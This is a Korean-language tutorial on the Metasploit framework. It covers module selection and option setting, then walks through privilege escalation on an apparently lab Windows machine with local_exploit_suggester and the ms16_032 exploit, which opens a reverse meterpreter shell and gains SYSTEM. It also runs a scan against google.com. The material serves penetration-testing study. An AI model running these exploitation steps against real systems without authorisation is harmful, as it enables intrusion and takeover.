Metasploit 사용법

Metasploit 사용법

Metasploit 은 Rapid7 이라는 회사에서 유지, 관리하는 오픈소스 침투 테스트 프레임워크다. 다양한 취약점에 대한 데이터베이스를 가지고, 이를 공격할 수 있는 페이로드를 생성, 실행할 수 있는 기능을 가져 CTF, 침투 테스트, 등에서 유용하게 사용된다.

Metasploit 의 기능은 워낙 방대해서 전부 다룰 수 없지만, 이 글에서는 기본적인 사용법과 접근 방법에 대해 설명하겠다.

Metasploit 홈페이지

1. Metasploit 사용법

Metasploit 은 매우 많은 기능을 가지며, 이에 대한 자세한 사용법은 Metasploit Documentation 에서 자세히 설명하고 있다. 이 글에서는 Metaploit 에 대한 기본적인 개념과 사용법에 대해서만 설명하니 상세한 내용은 공식 문서를 참고하자.

아래 글은 Kali Linux 에서 실행한다고 가정한다.

1.1 모듈 선택

Kali Linux 에는 Metasploit 가 기본적으로 설치되어 있으며, msfconsole 명령어로 실행할 수 있다.

$ msfconsole 

Metasploit 을 성공적으로 실행하면 프롬프트가 msf6 > 로 바뀌는 것을 확인할 수 있다. 이 순간부터 Metasploit 명령어들을 실행할 수 있다.

msf6 >

우선 Mesploit 에서 제공하는 여러 종류의 모듈 중 어떤 것을 사용할 것인지 결정해야 한다. search 명령어를 실행하면 Metasploit 에 등록된 모듈과 관련된 정보들을 검색할 수 있다.

msf6 > search type:auxiliary http html title tag

Matching Modules
================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/title                   normal  No     HTTP HTML Title Tag Content Grabber


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title

msf6 >

모듈 타입에는 다음과 같은 4가지 타입이 존재한다.

  • Auxiliary : auxiliary 모듈은 직접적인 exploit 기능은 없지만 데이터를 수집하거나 정보 관리와 관련된 작업을 수행할 수 있다.
  • Exploit : exploit 모듈은 대상의 취약점을 공격하여 임의의 코드를 수행할 수 있다.
  • Payloads : payload 모듈은 사용자 생성, 셸 생성, 등의 작업을 수행할 수 있는 임의의 코드를 원격 머신에서 실행한다.
  • Post : post 모듈은 대상 머신을 exploit한 이후의 작업을 돕는다. 예를 들어 데이터를 수집하거나 처리하는 기능을 수행한다.

info 명령어는 모듈에 관한 상세한 정보를 출력한다.

msf6 > info auxiliary/scanner/http/title

       Name: HTTP HTML Title Tag Content Grabber
     Module: auxiliary/scanner/http/title
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Stuart Morgan <stuart.morgan@mwrinfosecurity.com>

Check supported:
  No

... 후략 ...

use 명령어는 지정한 모듈을 사용할 것을 명령한다. 모듈 로딩에 성공하면 프롬프트에 로딩된 모듈의 이름이 추가된다. 아래 예시에서는 auxiliary/scanner/http/title 모듈을 로딩하여 프롬프트가 msf6 auxiliary(scanner/http/title) > 로 변경되었다.

# auxiliary/scanner/http/title 모듈을 사용.
msf6 > use auxiliary/scanner/http/title

# auxiliary/scanner/http/title 모듈을 사용 중임을 프롬프트에서 표시.
msf6 auxiliary(scanner/http/title) > 

1.2 옵션 설정

모듈을 선택했다면, 실행하기에 앞서 모듈에서 요구하는 옵션을 설정해야 한다. 각 모듈들은 실행을 위해 필수로 필요한 옵션(Required)과 선택적인 옵션(Optional)으로 나뉜다. 모듈을 실행하기 위해서는 최소한 필수 옵션들은 반드시 적절하게 입력해야 한다.

모듈에서 사용 가능한 옵션에 대한 정보는 show options 명령어를 실행하면 확인할 수 있다. 아래 예시는 auxiliary/scanner/http/title 모듈에서 사용 가능한 옵션의 목록을 보여주고 있다.

msf6 auxiliary(scanner/http/title) > show options

Module options (auxiliary/scanner/http/title):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SHOW_TITLES  true             yes       Show the titles on the console as they are grabbed
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   STORE_NOTES  true             yes       Store the captured information in notes. Use "notes -t http.title" to view
   TARGETURI    /                yes       The base path
   THREADS      1                yes       The number of concurrent threads (max one per host)
   VHOST                         no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/title) > 

옵션 표의 머릿말은 다음과 같은 의미를 가진다.

  • Name : 옵션의 이름.
  • Current Setting : 현재 설정된 옵션 값. 일부 옵션은 기본 값을 가질 수 있다.
  • Required : 해당 옵션의 필수 여부. 이 값이 yes 이면 모듈을 실행하기 전에 반드시 적절한 값을 설정해야 한다.
  • Description : 옵션에 대한 자세한 설명을 보여준다.

set {옵션 이름} {옵션 값} 명령어는 모듈에서 사용할 옵션 값을 지정할 수 있다. 아래 예시는 RHOSTS 옵션의 값을 google.com 으로 지정하는 것을 보여준다.

msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
RHOSTS => google.com

모든 옵션을 적절하게 설정했다면, run 명령어로 지정한 옵션들을 기반으로 선택한 모듈의 기능을 실행한다.

msf6 auxiliary(scanner/http/title) > run

[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

위 예시에서는 정찰 기능을 수행하는 auxiliary 모듈을 보여줬지만, 만약 exploit 모듈을 사용했다면 공격 대상 머신과 리버스 셸이 수립되면서 세션을 생성할 수도 있다. 이 경우 프롬프트가 meterpreter 로 바뀌면서 해당 머신에서 다양한 명령어를 수행할 수 있다. help 명령어를 실행하면 meterpreter 상태에서 실행 가능한 명령어들을 확인할 수 있다.

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
... 후략 ...

만약 다시 msf6 프롬프트 상태로 돌아가고 싶다면 background 명령어를 실행하면 된다.

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > 

msf6 프롬프트 상태에서 다시 특정 세션에 접속하고 싶다면 우선 show sessions 명령어로 현재 수립된 세션 목록을 확인한 후, sessions {세션 번호} 로 접속하면 된다.

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM       10.10.14.7:4444 -> 10.10.10.8:49166 (10.10.10.8)
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ OPTIMUM  10.10.14.7:4444 -> 10.10.10.8:49168 (10.10.10.8)

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > sessions 2
[*] Starting interaction with 2...

2. Suggester 모듈을 이용한 권한 상승

Metasploit 을 이용해 유저 권한을 획득하는데 성공하면, 그 다음 단계는 권한을 상승시켜 관리자 권한을 얻는 것이다. Metasploit 에서 제공하는 몇몇 모듈은 exploit 에 성공하는 즉시 관리자 권한을 얻을 수도 있지만, 일부 모듈은 유저 권한을 얻는데 그치기 때문에 또 다른 취약점을 이용해 권한 상승을 해야 한다.

exploit 한 머신을 탐색하여 직접 취약점을 찾을 수 있다면 좋겠지만, 찾기 어렵거나 귀찮다면 Suggester 모듈을 이용해 자동으로 권한 상승 취약점을 찾을 수 있다.

우선 공격 대상 머신을 metasploit 으로 장악한 후, 세션을 생성해야 한다. 세션 생성 후 background 명령어를 실행하면 프롬프트가 meterpreter 에서 msf6 로 돌아온다.

meterpreter > background                                                           

msf6 프롬프트로 돌아온 후, local_exploit_suggester 모듈을 로딩한다.

msf6 exploit(windows/http/rejetto_hfs_exec) > use local_exploit_suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester  .                normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

[*] Using post/multi/recon/local_exploit_suggester

show options 명령어를 실행하면 local_exploit_suggester 모듈에서 필요한 옵션들을 확인할 수 있다.

msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

SESSION 옵션 값이 필수적으로 필요하니 설정해야 한다. show sessions 명령어를 실행하면 현재 수립된 세션 목록을 확인할 수 있다.

msf6 post(multi/recon/local_exploit_suggester) > show sessions

Active sessions
===============

  Id  Name  Type                     Information               Connection
  --  ----  ----                     -----------               ----------
  1         meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM  10.10.14.7:4444 -> 10.10.10.8:49166 (10.10.10.8)

미리 만들어둔 세션을 옵션으로 지정한다.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1

run 명령어를 실행하면 모듈이 실행되며 자동으로 공격 대상 머신의 권한 상승 취약점을 탐색한다. 아래 예시에서는 총 6개의 잠재적 취약점을 발견했다. 이 취약점들이 반드시 공격에 성공한다는 보장은 없지만 테스트해볼 가치는 있다.

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.8 - Collecting local exploits for x86/windows...
[*] 10.10.10.8 - 198 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.8 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.8 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
 5   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 6   exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.
 8   exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
... 후략 ...

앞선 과정과 마찬가지로 권한 상승에 사용할 모듈을 선택하고, 옵션을 지정하고, 실행하면 된다. 예시에서는 exploit/windows/local/ms16_032_secondary_logon_handle_privesc 모듈을 사용해보겠다.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.119.138  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST tun0
LHOST => 10.10.14.7
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 10.10.14.7:4444 
[+] Compressed size: 1160
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\eDNNzwMti.ps1...
[*] Compressing script contents...
[+] Compressed size: 3739
[*] Executing exploit script...
         __ __ ___ ___   ___     ___ ___ ___ 
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|
                                            
                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
... 후략 ...

meterpreter 프롬프트 상태에서 getuid 명령어를 실행한 결과 NT AUTHORITY\SYSTEM 인 것으로 보아 관리자 권한을 획득한 것을 확인할 수 있다.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

3. Reference